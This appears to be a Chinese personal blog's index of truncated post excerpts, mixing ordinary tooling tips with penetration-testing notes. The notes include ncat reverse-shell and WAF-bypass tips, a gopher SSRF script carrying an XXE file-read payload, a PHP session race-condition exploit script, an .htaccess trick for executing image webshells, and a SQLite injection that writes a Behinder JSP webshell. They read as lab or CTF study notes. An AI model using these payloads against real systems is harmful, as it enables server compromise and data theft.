解决ncat的Ncat: ssl_gen_cert(): error:03000098:digital envelope routines::invalid digest. QUITTING.
2024-08-15 177 字 1 分钟

解决ncat的Ncat: ssl_gen_cert(): error:03000098:digital envelope routines::invalid digest. QUITTING.

Ncat: ssl_gen_cert(): error:03000098:digital envelope routines::invalid digest. QUITTING. 原因是新版本openssl sha1不支持了需要设置环境变量：export OPENSSL_ENABLE_SHA1_SIGNATURES=1参考：https://github.com/dotnet/runtime/issues/65874另外如果ncat反弹shell不完整，没有显示全命令提示符，可以加-i参数。还可以加上–ssl参数进行加密绕过waf： 12victim> ncat <ip>
解决RDP远程计算机收到非预期的证书的问题
2024-08-06 41 字 1 分钟

解决RDP远程计算机收到非预期的证书的问题

打开证书管理 查看远程桌面证书删除 然后搜索别的同名证书，如果在受信任的根证书里面，也删除。
不用虚拟机，使用windows调试linux内核
2024-08-03 277 字 2 分钟

不用虚拟机，使用windows调试linux内核

1.安装msys2https://www.msys2.org/2.打开msys2 ucrt64安装qemu和gdb还有gefpacman -S mingw-w64-ucrt-x86_64-qemupacman -S gdbpacman -S binutils 用下面的脚本安装gef 1234567891011121314151617181920212223242526#!/usr/bin/env bashset -e# check dependenciesif [ ! "$(command -v python3)" ]; then echo "GEF requir
安卓微信8.0之后如何利用缓存找回的三天之前不可见的朋友圈图片
2024-07-12 488 字 2 分钟

安卓微信8.0之后如何利用缓存找回的三天之前不可见的朋友圈图片

安卓微信8.0之后如何利用缓存找回的三天之前不可见的朋友圈图片复习了下安卓程序的知识，我们会了解到，安卓程序清楚数据的时候有两个选项一个是清除全部数据一个是清除缓存。清除全部数据表示清除应用数据+缓存。对于安卓微信8.0之后而言，其应用数据存储在/data/data/com.tencent.mm目录下，需要root才能访问，而缓存则存在/storage/emulated/0/Android/data/com.tencent.mm/目录下。虽然有的朋友设置了三天不可见的朋友圈，但是三天以前的朋友圈内容如果我们偶然刷到过，是会存在缓存里的，因此，我们可以利用缓存把之前的朋友圈找回来。但是朋友圈的缓
gopher协议ssrf phpinput
2024-07-06 143 字 1 分钟

gopher协议ssrf phpinput

123456789101112131415161718192021222324import urllib.parsepayload =\"""POST /xxe.php HTTP/1.1Host: 127.0.0.1Connection: closeContent-Length: 163<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM "file:///etc/passwd">]>&lt
python 多线程条件竞争利用失败print不显示的原因
2024-06-14 537 字 4 分钟

python 多线程条件竞争利用失败print不显示的原因

如下脚本，利用php的PHP_SESSION_UPLOAD_PROGRESS条件竞争漏洞执行一直着没反应： 1234567891011121314151617181920212223242526272829303132333435363738394041import requestsimport threadingimport syssession = requests.session()sess = 'zzx'url1 = "http://192.168.50.162/a.php"flag=''# file后为phpsession的
PHPstudy情况下上传图片马需要的.htaccess文件
2024-06-01 89 字 1 分钟

PHPstudy情况下上传图片马需要的.htaccess文件

网上的方法是无效的： 123<FilesMatch "test.jpg"> SetHandler application/x-httpd-php </FilesMatch> 原因是新版本的phpstudy使用了cgi模式,而网上的方法只适用于linux模式。 1234<FilesMatch "tpm.png">AddHandler fcgid-script .pngFcgidWrapper "D:/phpstudy_pro/Extensions/php/php7.3.4nts/php-cgi.exe&
WSL2运行访问本机外网地址的配置
2024-06-01 17 字 1 分钟

WSL2运行访问本机外网地址的配置

在.wslconfig里面配置 123456789[wsl2]autoMemoryReclaim=gradualnetworkingMode = mirroreddnsTunneling=truefirewall=trueautoProxy=true[experimental]hostAddressLoopback=true
Sqlite sql注入写入jsp冰蝎shell
2024-05-29 579 字 4 分钟

Sqlite sql注入写入jsp冰蝎shell

1http://10.10.80.14:8080/forumapp/post?token=a6682dbf-74c4-4552-9aea-3c9ee2d71f37&content=a%27,12);ATTACH DATABASE '/usr/local/tomcat/webapps/ROOT/haocaicaibxshell1.jsp' AS sh;create TABLE sh.e (payload text); insert INTO sh.e (payload) VALUES ('%3c%25%40%70%61%67%65%20%69%6d%70%6
使用python不改变格式的情况下批量替换word里面的内容
2024-05-24 361 字 2 分钟

使用python不改变格式的情况下批量替换word里面的内容

需要使用如$name,${id}这样的模板 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051import osimport iofrom python_docx_replace import docx_replace,docx_get_keysfrom docx import Documentfrom random import randrangestudent_list='''1,张三,22023303012,李四,22023